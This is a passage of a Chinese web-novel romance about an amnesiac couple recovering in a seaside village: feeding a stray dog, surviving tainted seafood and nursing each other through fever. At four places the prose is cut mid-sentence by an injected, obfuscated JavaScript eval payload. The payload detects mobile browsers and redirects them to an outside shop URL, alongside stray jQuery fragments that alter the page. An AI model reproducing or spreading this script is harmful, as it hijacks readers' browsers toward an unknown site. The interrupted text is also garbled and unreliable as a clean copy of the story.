江阔今天还带了点零嘴,是萍姐给的,也是洱南的特色,有鲜花饼,还有烤乳扇。 除了水,江阔又拿了鲜奶。 算得上是一顿还不错的下午茶。 江云比较喜欢鲜花饼,酥酥脆脆的外壳里面包裹着鲜甜的玫瑰花,甜稠的果酱不齁嗓,是刚刚好的程度。 光吃有些单调,江云主动找了话题。 “江阔,你觉得我们是做什么工作的?” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江阔把她搂得越来越紧,一双眸子跟涂了胶水似的黏在她身上,没有半刻移开过。 他唇边的笑意也始终停留,温柔的气声中溢出了几分欣赏。 “确实,那等回去之后我们就看看到底是怎样的,如果我们是在一起工作,那就不存在合不合作了,如果不是一起,就合作。” 江云一抬眸就撞进了他粘稠的视线中,原本想出口的话莫名噎了回去。 她也不知道是哪一句话让恋爱脑听开心了,但这副从内而外透着傻气的痴汉笑实在是惹眼。 而且她今天的反应好像有点不太一样了—— 她没觉得不好。 或者她是适应了? 海风随着海浪同频翻涌,适时扑到两人跟前。 江云不知道今天的海风里掺杂了什么东西,只觉得进入胸腔的余风在里头冒出了泡泡。 停在心头,泡泡很轻易破了。 里头裹着的微甜往心间沁,沁进了血管和神经。 她的‘身体本能’又来了。 她和江阔之间的气氛又变得暧昧。 他的笑收敛了几分,只有温柔半分未消。 很像她梦里他的模样。 而这副模样的下一步,是那个被他打断的吻。 江云的视线忍不住下移,他的唇和梦里一样。 肩头的手掌温热,江云突然觉得眼皮有些沉,下一秒就要闭上。 男人的气息越靠越近,肩头的手掌越来越紧。 一切都有发生的迹象。 江云暗暗攥紧了衣角,隐隐期待。 然而现实却如梦境一般。 这个‘吻’被一声突如其来的哼叫打断。 11. 10 陷入暧昧氛围中的两人瞬间被拉回现实,江云的身体微微一震,在她肩头的手掌也松了松。 两人的视线陡然撞在一起,又匆忙移开。 江云循着声音来源看过去。 一条白色的小狗滚在他们脚边,白色的毛发沾了灰,看上去脏兮兮的。 江云有些意外,伸手探了探小狗的脑袋:“这居然还有流浪狗吗?” 小狗不躲人,往江云手边拱了拱,一双湿漉漉的眼睛望着他们身侧的食物,不停吐舌。 江云了然,下意识揪起一小块鲜花饼,打算喂给小狗,被江阔拦了下来。 “狗不能吃这个,太甜了,喂这个吧。” 他把餐盒里的一小块新鲜苹果递给江云。 江云不记得以前有没有养过狗,也确实不怎么懂。 她应了声好,把食物喂过去,又转头问江阔:“你以前养过狗?” 江阔摇头,说他不记得了,不过应该是对养狗有些了解的。 小狗许是饿急了,一块苹果很快进了肚,只是它还是没走,眼巴巴地望着两人。 江阔又把纯净水倒了点在手心,小狗很快舔舐干净了。 “好可爱的小家伙。”江云又揉了揉它的脑袋。 小狗被她摸开心了,直往她怀里钻。江云稍稍一缩,还是把狗稳稳接住。 小狗在她怀里左右翻动脑袋,她这才发现,这只小白狗的耳朵上有一颗小黑痣。 还是在右耳。 江云突然笑出了声。 她很快拍了拍江阔,示意他看过来:“你看,它和你一样,右耳都有一颗黑色‘耳钉’!” 江阔轻笑,又摸了摸小狗。 “要不要把它带回去?”江阔问。 江云刚才确实生出一股冲动,想把小狗带回去,给它喂点吃的喝的养起来。 可他们自己现在都是寄人篱下。 不能给人添麻烦。 她摇头:“还是算了吧,毕竟住在萍姐那里,不给人添麻烦了。” 江阔又喂了点水给小狗,“那以后每天来看看它,给它喂点吃的?” 江云眼前一亮,连声应好。 “那我们给它取个名字好不好?”那颗脏脏的小白球此刻正伸着短胖的小爪子在江云怀里,毛茸茸的脑袋贴在她的胸口。 江阔拿了两张纸,沾水后给小狗擦了擦毛发,温声点头,问她想取什么名字。 脏脏的小白球被擦干净了些,圆瞪瞪的眼睛在两人身上来回游移,小粉舌懵懵懂懂地舔着黑鼻。 “叫…白白?”江云是觉得名字越简单越好。 “白白……”江阔重复了一遍,不知道想到了什么,神情有片刻的怔愣,又很快恢复如常。 白白成了这只突然出现的小白狗的名字。 不过是只有他俩知道的名字。 悬在天空的太阳已经挪动了好几次位置,江云和江阔准备走了。 白白也跑回了自己常待的简陋小窝。 …… 江云牵着江阔,两人一路闲聊,不急不缓地往海滩外走。 熟悉的小木屋已经近在眼前,江阔是想去店里,然而两人刚到走廊,昨天见过的那个稍微年长的男人恰好从走廊出来,往门口走。 江云一惊。 他居然又来了? 男人没有看他们俩,脸色虽然没那么严肃,却也不柔和。 两只脚跟踩着风火轮似的,身影很快消失在门口。 江阔依旧打算去饭馆,江云也跟着去了。 她担心萍姐情绪不好。 可萍姐情绪竟然还不错。 见两人回来,她似最初那般热情地迎上来:“回来了?正好小云,我又做了点蜜饯,你不是爱吃吗?这一罐子都是给你的。” 江云准备好的安慰话突然没了用场。 她稍稍意外地接过蜜饯,又跟萍姐道了谢。 江阔把手里的东西放好,让她们在外面坐会,里面他准备就成。 他主动帮江云拉开了凳子,又无声拍了拍她的肩。 江云会意笑笑。 萍姐刚坐下来,又突然想起什么,大喊了一声后厨的江阔。 说厨房有两箱新鲜的海鲜,里头有海鲈鱼,适合他们吃,能促进伤口恢复的。 “您今天去进货了吗?”江云下意识问。 这两天萍姐应该没出去才是。 萍姐摇头,神色稍稍收敛了些,看不出高兴,也看不出不高兴。 她随口应道:“别人送的,你们就放心吃,不用担心价格!” 江云没多问。 只知道那海鲈鱼确实美味。 而且江阔手艺好,那肉质本就鲜美的鱼肉几乎入口即化,做陪衬的豆腐也软嫩可口。 又是饱餐一顿。 江云照往常擦了身子,又好不容易喝完那一大碗浓苦的中药,熟练地趴在床上,等着江阔给她换药。 “这伤口到底还要过多久才能好啊?”江云不免抱怨。 身上的骨头和肌肉倒是不像之前那么痛了,基本的活动最起码还在她的承受范围内。 只有背上的伤口,娇贵脆弱,碰都碰不得,还得避免沾水感染。 江阔的动作愈发轻柔,一点一点地擦匀药膏:“已经愈合了不少了,伤口比之前也小了点,别着急,很快会好的。” 他的语气就像是个温柔的老父亲,动作也是。 江云头转了个面,觉得他动作太慢,开始催促:“江阔,你动作快点没事,只要不碰到伤口我还是能忍受的。” “不行。” 江阔义正严辞地拒绝。 “我知道你能忍,但能不痛当然还是不痛的好。” 她背上的力度又轻了些。 江阔又继续道:“也不知道我们是从哪摔了,既然能牵着你,怎么就没能帮你挡住后背?伤在这里实在太磨人了。” 江云的下巴抵在交叠的小臂上,背后微微发凉,心头却被吹进来的带着温度的海风晕起层层涟漪,暖流一阵高过一阵。 她看不到江阔的神情,却也能想象得到。 毕竟他是个温柔又二愣子又闷骚的恋爱脑。 她已经把他摸透了。 唇边不自觉噙起一抹浅笑,江云也不催他了。 她开始好奇,失忆前和他的相处模式。 也隐隐生出些期盼,期盼回想起对他的感情。 熟悉的尤克里里在夜晚继续弹响,只不过弹曲的人已经从床沿转移到了床上。 自从江云那一句“上来陪我睡”之后,床下的地铺就不见了踪影。 江云想让江阔把地铺铺回去,却得知那一套被褥都被他洗了。 江阔还说,那套床褥干了之后就直接还给萍姐,省得地铺久了给人弄脏洗不干净。 他们已经很麻烦人家了。 江云无话反驳,虽然知道这人有存心的可能,但她最后还是默许了。 屋子里的灯关了。 江云被身旁的人揽进了怀里。 “有枕头,你不用给我手臂。”江云推搡着他道。 男人却不为所动:“胳膊舒服,枕头太硬了。” “……” 江云原本是担心他手麻,可他一直坚持,最后江云枕得心安理得。 他说的是实话,他的肌肉确实比硬邦邦的枕头舒服。 不过江云依旧没什么睡意,在他身侧翻了几个来回,薄毯都移了位。 “今晚想聊什么?”江阔问。 这些天,只要他们睡不着,夜话项目就会自然而然开始。 江云有些犹豫。 沉默了几秒。 江阔又说:“云云,你想说什么都可以。” 江云深吸了口气,声音里的情绪不算高涨:“其实也没什么,就是觉得心底还缺失了很多东西,虽然在这里确实很惬意,但没有充实的记忆兜底,偶尔还是会觉得少了点什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958107|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概就是一种无声盘旋在心头的念想吧。 她默默想着。 “想家了?”江阔轻易捕捉到了她话里的意思。 江云的眼睛微微瞪了瞪。 她点头,往他身侧靠了靠,手也攀住了他的腰腹:“是,是有点,虽然我不知道家里是怎样的、有哪些人。” 也不知道他们过得好不好,有没有为失踪的她而难过,也像她这般睡不着觉。 枕在她脑后的臂膀动了动,那只手掌恰好落在她的肩口,温热的掌心贴近,心底的怅然轻了些。 “其实我这些天也在想,等过几天我打算找萍姐借点钱,把手机带去镇上看看还能不能修,然后打探一下消息,避免我们到时候出去也像无头苍蝇,根本不知道要做什么。” 江阔的声音很轻,语速也比较慢,听上去像是柔若无骨的羽毛,可落在心里却好似沉甸甸的基石,围住了她的心脏,让那颗脏器不至于随便乱撞,又撑起了一片安全感。 江云侧眸,他的轮廓近在咫尺。 ‘身体本能’再次席卷,她又靠近了些。 江阔的手臂也收了收。 他又说:“放心,我们肯定能找到家,也一定能恢复记忆。” 夜晚寂静,弦月高挂。 江云悄悄弯唇,嗯了一声,在温热的怀抱里缓缓睡去。 …… 之后的几天,江云和江阔还是差不多的日子。 除了在家里,就是去海滩。他们每天都带着一些新鲜的水果和水煮的肉类过去,白白也逐渐熟悉了他们俩的位置,定时定点跑到他们身边吃喝。 而江晴依旧卧床不起,食欲也不佳。 江醇几乎每天都来找她,可每天没进门就被萍姐赶走了。 只有那个被江醇唤做二伯的男人,也就是萍姐以前的男朋友,天天都来。 而且每次来的时候都会搬两个大泡沫箱,里头装满了新鲜的海鲜。 萍姐每次都拒收,可他每次都强留,然后又留下来极力劝说萍姐。 江云好几次都听到了。 大概说的就是,他们两家的恩怨在他们两个人身上还完就够了,说江醇在家每天不好好吃饭也不好好睡觉,工作室也没去了,整个人突然蔫巴了。 如果真的继续延续下去,延续到两个孩子身上,指不定会造成更严重的后果。 萍姐难得没反驳,却仍没有给男人好脸色。 男人走后,萍姐说让江阔把鲈鱼、鳕鱼挑了去做给江云吃,之后又坐在桌边闷闷发呆。 江云和江阔索性就留在店里和萍姐一起吃晚餐了。 江阔特地多做了几个菜,熟悉的酸汤牛肉摆在了萍姐跟前。 两人默契地在桌上活跃气氛,时不时和萍姐搭几句话。 萍姐也是真心喜欢他们俩,情绪还算不错,也看出他们的心意:“这上天啊也算是让我开心一回,小云、江阔,谢谢你们,这几天我和晴晴也是心情不好,也难为你们费心。” “萍姐,我们多亏了您收留,能做的也都是小事。”江云给萍姐夹了块鱼肉,语气轻松。 江阔也笑了笑,还是那句话。 他们能帮的,就一定会帮。因为萍姐已经帮了他们很多。 萍姐的心情彻底被两人抬上来了,她摆了摆手,说客气多余的话也不说了,她直接把他们当家人。 “快吃快吃,你们俩这会就得好好吃饭!” 两人跟着松懈下来,江云开始享受桌上的美味。 亮白的鱼肉裹在泛着油光的汤汁里,光是看上去就让人食欲大开。 江云吃了一大口。 却下意识皱了皱眉。 “不好吃吗?”江阔瞬间察觉到她的神色。 江云摇了摇头:“也不是,就是感觉怪怪的,和前几天的口感不太一样。” 在两人对面的萍姐闻言,夹了一块往嘴里送,咀嚼几下后却陡然变了脸色:“小云,快吐出来!” 12. 11 江云虽没弄明白是怎么一回事,但被萍姐骤变的脸色吓住,几乎是下意识把嘴里没吞下去的鱼肉给吐了出来。 “你刚刚吃了多少?!”萍姐的声音很急,双手抓紧了江云的胳膊问。 江云被她这副模样骇住了,手里的筷子也没拿稳,她不确定地扫了眼碗里,语气稍微发颤:“差、差不多一整大块……” 萍姐的瞳孔骤然紧缩,脸色煞白,她一句话没说,快速进了后厨。 半分钟后,她端着两杯温热的盐水出来。 迅速递给了江云和江阔:“喝!把这一杯全都喝下去!然后压着舌头,把刚刚吃下去的东西全都吐出来!快!” 她的声音完全失了平稳,几乎是吼出来的,将近嘶哑,又带着几分心惊,音调也完全变了。 “这海鲜有问题!赶紧去吐出来!” 江云和江阔相视一眼,根本来不及说什么,就被萍姐往后院推。 江云尚且在惊愕的余韵中,大脑来不及反应,只觉得食道好像有了反应,她听了萍姐的话,仰头把那杯盐水一饮而尽。 身旁的江阔也跟着喝了下去。 盐水下肚,舌头又被她狠狠下压,胃里很快有了反应。 江云空出来的手捂在胸口,双眉紧蹙,难受地呕完了胃里的东西。 “有没有不舒服?”江阔给她递来了纸巾和温开水。 江云迅速接过了东西,背身过去,三两下擦干净嘴角,又用温水漱了漱口。 喉间一阵难忍的反酸停留,剌得嗓子有些疼。 她无声摇头。 不等江阔说话,屋子里又突然炸出几声‘哐当’响。两人对视一眼,江阔揽着江云快速进了屋。 就看到那两个装着海鲜的泡沫箱被萍姐狠狠拽着往外拖,临到门口,她毫无顾忌地抬脚,几乎用尽全身力气朝着泡沫箱踹了过去。 还算坚固的泡沫箱体瞬间破裂,碎出的巨响震得耳膜跟着发麻。里头几乎没动过的海鲜混杂着冰块滚落一地,在地面的灰尘里沾了好几圈,又裹了飞扬的泡沫碎屑,最终狼狈地停下。 “萍姐,这海鲜……” 江云的话还没问出口,耳边急促强劲的脚步声又疾速闯近,他们还算熟悉的那道男声也倏然乱了节奏,夹杂着强烈的担忧和紧张:“江萍,那两箱海鲜不能吃!我……” “抱着你的这一堆垃圾给我滚!我tm就是猪油蒙了心我才会相信你!江谦,三年前你已经害过我一次了!现在是还想再来一次吗?!” 江云的视线落在了那堆海鲜上。 喉间的酸痛还没完全消退,背后的伤口也隐隐做痛。 “不是的,你听我解释,我发誓我们绝对没有出任何差错,我也是才发现水池里的鱼有很重的腥味,你相信我,给我点时间,先不要生气,我一定查清到底是怎么回事……” “相信你?我不可能再相信你了!这一次没出人命算你们走运,但我一定会告到监管局去!还有晴晴和江醇也绝对不可能!” 萍姐的声音更尖锐,吸引了周边好些村民的注意力,甚至连卧病在床的江晴也从后院出来了。 她披着一件外衣走过来,脸色尚且虚弱:“发生什么事了?” “这几天江醇的二伯有往这里送海鲜,但今天的海鲜好像又出了问题。”江阔给了她回答。 江云注意到江晴那张本就苍白的脸上血色全消。 她想开口,然而喉间的不适感还未消散,背后的伤口更痛了。 她也不知道是耳边的争吵声太混杂太尖锐,还是吐过之后胃里空荡荡的太饿,身体有些虚浮。 大脑的思考能力有些卡壳,甚至有些站不稳。 江晴往前走了过去,站在了萍姐身边。 江云没听见她说什么。 眼前骤然一片昏黑,她的意识也跟着混沌。 耳边的争执声好像停了。 在彻底失去意识前,她只听到江阔略显急促又有些失控的声音:“云云!” …… 江云不知道过了多久。 意识昏昏沉沉,浑身上下没有一处不难受。背后的伤口比此前更疼了,喉咙像是被胃酸狠狠侵蚀过,干剌剌的,头也跟被重锤敲打过似的闷疼,还隐隐想吐。 眼皮如巨石般沉重,眼珠转了好几圈,也没能撑开沉重的眼帘。 她暗暗咬牙,又试着动了动身子。 耳边很快响起熟悉的声音,带着压抑不住的兴奋,却又隐隐透着疲惫:“云云?云云你能听到我说话吗?” 是江阔。 她的手被那双熟悉的、温热的大掌包裹,身体的难受跟着消散了几分。 “我来!”一道稍微老成的声音从床尾传来。 话音刚落,一阵尖锐的刺痛从脚掌涌上,又酸又胀,直冲头顶。 “啊——” 江云猛地睁开眼,呼吸急促,胸口起伏明显。 江阔焦急的脸庞逐渐在眸中清晰。 熟悉的深褐色瞳眸瞬间瞪大,闪着兴奋的光点,苹果肌也被上扬的嘴角推了上去,眼角跟着弯起。 他的眼眶有些湿湿的,有几根睫毛甚至贴在了一起,在阳光下泛着浅亮,只是那颗黑色耳钉却隐隐暗淡,失了些许光泽。 “云云,你终于醒了!” “我……”江云才开口,话语却被喉间的干涩压了回去。 “去给她倒点水。”坐在床尾的老张才收好针灸针,不紧不慢道。 江阔迅速起身,去圆桌上倒了早就备在那里的温水。 他探了探温度,回到床头把手臂穿过江云的后颈,慢慢把人抱起来。 “不烫。” 温和的清水下肚,胃里翻涌的呃逆压下去了很多。 可身上的不适还在。 江云微蹙着眉:“我…怎么了?” 江云晕了两天。 那天她在饭馆突然晕倒,江阔几乎是立刻抱起她冲回了房间。他本想叫车把江云送去医院,可光是出村就要一两个小时,到了镇上离医院还有漫长的路程。 江阔等不了那么久。 最后去把老张拖了过来。 好在问题不大。 是那堆海鲜的问题。 他们有食物中毒的迹象,不过好在萍姐及时让他们把吃进去的东西吐了出来,加上他们吃得并不多,情况不算太糟。 只是江云尚且在伤口恢复期,免疫力不算好,来回一折腾,伤口很轻易发炎了。 没多久,她又跟着低烧。 中途醒来吐过几次,但很快又昏睡过去了。 “这几天就不能再吃那些海鲜了,只能吃点清淡的流食,再多弄点汤食补液,伤口绝对不能沾水,也尽量避免出汗。”老张嘱咐道。 “我明白。”江阔很快接话。 老张在这留了会,确定江云没什么事之后,终于离开。 房间里只剩江云和江阔两人。 “你这两天在哪休息的?”江云问出了第一眼就埋在心底的疑惑。 他的眼里好多红血丝,湿润的眼眶应该也是因为哈欠太多次了。 江阔微微一怔,只是随口一答:“在桌上趴着睡的。” 又问:“你饿不饿?伤口是不是还痛着?” “饿,伤口还好。” 江云抿着唇,尽量忽略背后那一块牵起来的烧灼感。 “我先去给你弄点吃的,很快回来!” 江阔前脚刚走,萍姐后脚就进来了。 她恰好和江阔撞上,江阔拜托她进来陪会江云,避免出什么意外。 “小云,你可算醒了!好些没有啊?都怪我,我就不该收他们家的海鲜!可苦了你了。” 萍姐的语气带着几分愧意和关切,又夹杂着一丝愤懑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958108|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江云摇头,说自己已经没什么事了。 “你放心,这事我一定会给你一个交代的!” 萍姐说他们吐出来的食物残渣她已经让人带到县里去检测了,等结果出来了她就直接报警。 江云点了点头。 萍姐也不想在她面前说这些扰心情的事,又帮她倒了杯水。 然后继续说:“江阔这两天也是操劳的呀,他连觉都没睡,就一直守在床边照顾你呀,要不是老张说你没什么问题了,他估计得连夜背着你去医院!” 江云心口一紧。 “他没睡觉?!” 他不是说趴在桌上睡的? 萍姐话口止住,肯定地点头:“我本来说我来守着你,但他说不放心,你不醒他也睡不着。” 江云下意识动了动身子,想要下床,却又扯到了背后的伤口。 那股烧灼感更强烈,她没忍住‘嘶’了一声,眉头拧紧。 萍姐赶忙扶她,又探了探她的伤口,嘱咐她好好躺着别动:“小心小心!你的伤口发炎了,这会扯着很痛的!你一痛江阔肯定又担心的嘞!这两天他看到你吐,一直不舒服,还在那掉眼泪的哟!” “掉眼泪?” 江云眉头拧得更紧,几道褶皱凛在眉心,苍白的脸上多了几分严肃。 所以他的眼眶湿湿的并不是因为打哈欠,是哭了? 江云感觉呼吸有些不畅,心底说不出什么滋味。 萍姐继续点头,说那晚半夜她又突然吐了,江阔来不及拿垃圾桶,直接用手接了她的呕吐物,又忙里忙外接水,给她清理。 到最后她昏睡过去,又开始发烧,叫也叫不醒。 他又着急又担心,让萍姐过来先看着她,大半夜又跑到老张那里把人叫了过来。 然后他就不让老张走了,说要等江云醒来才行。 萍姐是离开他们屋子的时候才发现,江阔哭了。 “他那天就一直看着你,那个眼神心疼的嘞!” 萍姐说得绘声绘色,江云却听得哑口无言。 五官像是失了掌控,完全不知道要做出怎样的反应。 大脑更是一片空白,不知道该思考些什么。 房间的门突然被推开了。 她下意识循着声音望过去,撞上了那双尚且残留着湿润的瞳眸。 萍姐闻声起身,“你回来了?慢慢喂给小云吃,我先出去了!” 江阔把手里那碗热腾腾的面条先放在了床头柜上。 “是不是很不舒服?脸色怎么这么苍白?”江阔的手裹住了她的脸颊,指腹在她的眼下轻轻摩挲了两下。 江云的心脏狠狠一颤。 一股热流汹涌泵出。 男人眼里的红血丝、眼周的憔悴以及眼下的乌青被她尽数收入眼底。 他真的两天没睡。 她又看到了他黑色短袖落下的清晰皱褶。 他是不是也两天没收拾过自己? 江云不记得以前爱他的样子如何,可叫她为了另一个人两天不睡,两天不顾自己,甚至用手接下呕吐物,又忙里忙外照顾,她是一定做不到的。 更何况他还有洁癖。 说不感动是假的。 没有一丝波动更不可能。 她真的很想对他停有一丝保留,却越来越做不到。 如果他这样的身体本能还不够,她真的不知道这世界上真正的夫妻还需要做到什么地步。 熟悉的目光落在她身上,半刻未曾移开。 他的视线从来温柔,不带有一丝侵略性,也从不让人反感,仿佛一件温暖的大衣披在肩头,能抵挡住外面所有的狂风冷雨。 “江阔。”她缓缓动唇,哪怕已经喝了很多水,喉咙还是干涩得紧。 她抬手,拍掉了他肩上不知道从哪沾上的灰,才继续说:“你傻不傻?” 13. 12 江阔很明显没懂这句话的意思。 他微怔:“我…怎么了吗?” 他的声音有些哑,尽管他在控制,却依然藏不住身体的疲惫。 江云听得眼角微微酸涩。 她又盖住了停在她脸颊的手掌,缓缓挪下来,用两只手完全包裹住他。 “萍姐刚刚都告诉我了。” 话音刚落,男人的神色微微一紧。 四目交汇,视线缠绕,那双眸中渐渐浮现出了几分愧意。 江云不懂。 他解释:“照顾你本来就是我应该做的,而且如果不是因为我,你也不会成这样。” 江云断然没想到江阔会把这件事怪到自己身上。 她摇头:“这跟你有什么关系?是海鲜本身的问题。” 江阔却说,如果不是他没能发现,他们也不会误食。 那晚他什么事都没有,偏偏床上的江云脸色惨白,睡都睡不安稳,又是吐又是发烧。 他如果能仔细检查一遍那堆海鲜,她就不会吃下去,更不会变成这个样子。 那晚她靠在他怀里难受到快要虚脱的模样还记忆犹新。 她半昏半醒,喉间不停溢出难忍的闷哼,手指时不时抓住他的衣角,狠狠攥紧,最后又因为没了力骤然松开。 他不停给她喂水,可她却止不住发抖,完全喝不进去。脸色被不断沁出的汗衬得越来越苍白,江阔又慌又急,手里的纸巾湿了一张又一张,他也忍不住跟着发颤。 她吐了之后,他才帮她清理好身体,她又很快开始发烧。怀中人的体温越来越高,他试了好多物理降温的办法通通没用,心脏跳得越来越乱,他的四肢颤抖的频率愈发强烈,情绪几乎抵达崩溃的边缘,险些哭出来。 老张过来帮她扎针时,他就站在那里,一动不动地盯着她。看着她尚且昏迷的双眉蹙得越来越紧,他的心脏也越来越难受。 她因为呕吐而苍白的面颊、因为疼痛而紧蹙的双眉、因为强烈的不适而沁出的汗,以及无声发颤的嘴唇,都像一颗颗沉重的钉子,狠狠钉入他的心脏,在那里压出了剧烈的疼痛。 窗外的海浪不知疲倦,一声接着一声往耳边凑,掺杂着海咸味的潮湿往屋子里蔓延,也延至他的心口。 一股剧烈又绵长的酸意上涌,直接冲至眼角。 他还是没忍住。 眼角的湿润从脸颊窜过,留下些许湿凉,他是看到落在手背的水珠才知道,他真的哭了。 此前的江阔,对江云的感情更多的是对未知过去的想象,是初见时一眼产生的好感,是他所谓的身体本能。 然而那一刻,他却清清楚楚地感知到了,他是爱她的。他不想看到她受一点伤,也不想她承受一丝痛苦,如果可以,他希望躺在床上伤口发炎的人的是他。 多年后的他,也无数次回想起那个夜晚,久违的钝痛仍会盘旋在心口,带着熟悉的、裹着海咸味的潮湿。他无比确信,就是在那一刻,他真真切切地爱上了她。 “照顾你明明是我的责任,可我却没能把你照顾好。”他的语气愈发低沉,也愈发愧疚。 那股酸意又冲到了江云的鼻尖。 她稍稍侧头,眉眼微动,漾出了几分温涟。 眼前的人影在清晰中模糊,又在模糊中清晰。 她以为男人大多都吝啬于担责任,可他却一次又一次地向她证明。 或许这就是她看中他的原因。 她不再与他争辩什么了,又松开他的手,笑了一声道:“我饿了。” 江阔眸中的凝重乍然褪去,被体恤的柔和取代,潋出春光般的笑。 他重新端起那碗面,一点一点地喂给了她。 胃里舒服了不少,伤口的疼痛也跟着减轻了些。江云往床里侧挪动身子,很快被江阔阻止:“小心,尽量不要动,扯到伤口很痛的。” “我想睡觉。”江云说。 “我扶着你,你慢慢往下躺。”江阔结实的双臂环住她的腰背,让她能够受力。 等她躺好,他也在床边席地而坐。 江云又说:“我要你上来陪我睡。” “我衣服脏。”江阔还是拒绝。 “那你现在去换身衣服,我等你。” 怕他再拒绝,江云又补充:“你不陪我我就不睡了。” 江阔最后照做了。 窗户和门都关上了,暂时遮挡了窗外的阳光。 床上的人抱在一起,江云并没有很困,枕在江阔的手臂上假寐。 江阔倒是很快睡着了。 他是真的累了。 听见身边人均匀的呼吸声,江云睁开了眼。 目光落定在他身上。 第一次这样认真看他。 睫毛垂落,遮盖了他那双温柔的眼睛,却依旧挡不住从他的气质里透出来的柔和。 她不记得以前身边除了他,其他的男人都是怎样的,只觉得这样的柔和实在太少见,至少在这个村庄里,她一个都没见过。 视线缓慢下扫,他的鼻梁很高,棱角突出,空出来的手忍不住上移,沿着那条轮廓,顺延而下。 最后停在他的唇上。 目光停下来的那一刻,江云脑中几乎是立刻回想起那个梦,还有那天在海滩。 他们在失忆前有接过吻吗? 和他接吻……会是一种怎样的感觉? 江云抿了抿唇。 嘴角往回收了收,颊肉微微抽动,她又清了清嗓,移开视线。 颈间的竹音哨因为她的动作滑了下来,恰好和江阔的竹音哨碰在了一起。 那两个字母还清晰地印在上面。 江云突然觉得,这两个字母也挺好看的,自然地融入了浅青色的暖玉中,也不突兀。 而且挺配的。 嘴唇悄然弯起,这个原本陌生又透着冰凉的竹音哨,突然沾了些颈间的温度。 心底的空虚已经少到几乎感受不到,江云又瞟了他一眼,嘴角的弧度更深。 她想把江阔的竹音哨拿起来,可指尖刚触到他的皮肤,嘴角牵起的弧度瞬间僵住—— 好烫。 江云霎时凛神,已经完全顾不上竹音哨,直接用掌心去探。 他的脖颈,到他的脸颊和额头,全都是烫的。 他在发烧。 “江阔?”江云拍了拍他,动作略显急促。 没反应。 她紧咬着牙,顾不上背后的疼,撑着床起身,手上的动作在他的肩口继续:“江阔?” “江阔!” 还是没反应。 江云绕过了他的腿,打算下床去找萍姐拿退烧药。不知道是不是背后的伤口影响着她的动作,两条腿迈出去的动作不太干脆,还隐隐发颤。 好不容易下床,江云连鞋都没穿,直接往外跑。 “萍姐,您那有退烧药吗?江阔发烧了!”江云的呼吸不稳,语气焦急。 好在萍姐没去店里。 “有有有!你等着我去拿!快回屋去,别光着脚!你还伤着呢!” 江云回房想把人叫醒,这次他倒是一碰就醒。 她终于松了口气:“你吓死我了!你发烧了,萍姐去拿药了,吃了药再睡。” 江阔的眼皮沉重的耷拉着,眼睛只露出一条缝,身侧的手下意识握住江云,望着她有片刻的停顿。 似乎是意识回笼,他又摇头:“我没事。” 他又是这样。 总是‘沉默’,做了什么通通不说,把他做的所有一切都当成对她的‘理所当然’。 只是他的身体已经替他说了实话。 低哑无力的声音慢吞吞地响起,他抓紧了她的手,说:“只要你在,休息会就好了。” “不准嘴硬!”江云压下了脸色,语气也很沉,又回到了那个她不熟悉的样子。 却很有用。 萍姐拿着退烧药冲进了屋:“来来来!退烧药和温水!” 江云二话不说接了药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958109|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又利索地塞到江阔嘴里,然后把人扶坐起来:“喝了。” 果然,她这个语气,江阔就不会反驳一句。 他乖乖喝了药。 “你上来。” 江阔的声音依旧虚弱,手上的力气却不小,执意拉着江云上来。 萍姐退了出去,又贴心地给两人关上了门。 江云想自己撑着上去,背后的伤口却不依不饶,她紧抿着唇,尽量不在脸上露出破绽。 江阔却陡然起身,直接把她抱了上去。 “啊——” 江云下意识惊呼,转眼,人已经侧躺在了他身边。 “你悠着点,还嫌自己病得不重?” 江阔眯着眼,只一味的把人往怀里搂:“我真没事。” “……” 江云想跟他再理论几句,可他几乎瞬间又睡着了。 到嘴边的话又吞了回去。 江云叹了声气,跟着闭上了眼。 …… 萍姐给两人准备了晚餐。 吃完之后,江云是想让江阔接着休息,可他却说自己已经不困了。 说要给她上药。 江云不想浪费时间,顺着他来。 他的动作却比前几次更轻。 江云催促:“你可以快点的,真的不痛。” 站在床边的人跟没听见似的,动作如旧。 江云说不动,最后干脆不说了,怕自己再多说,他动作会更轻。 微凉的药膏在后背缓慢涂抹,江云忍不住咬紧牙关,压制痛意。 身上有伤口真是遭罪,不仅容易发烧,还会一直痛。 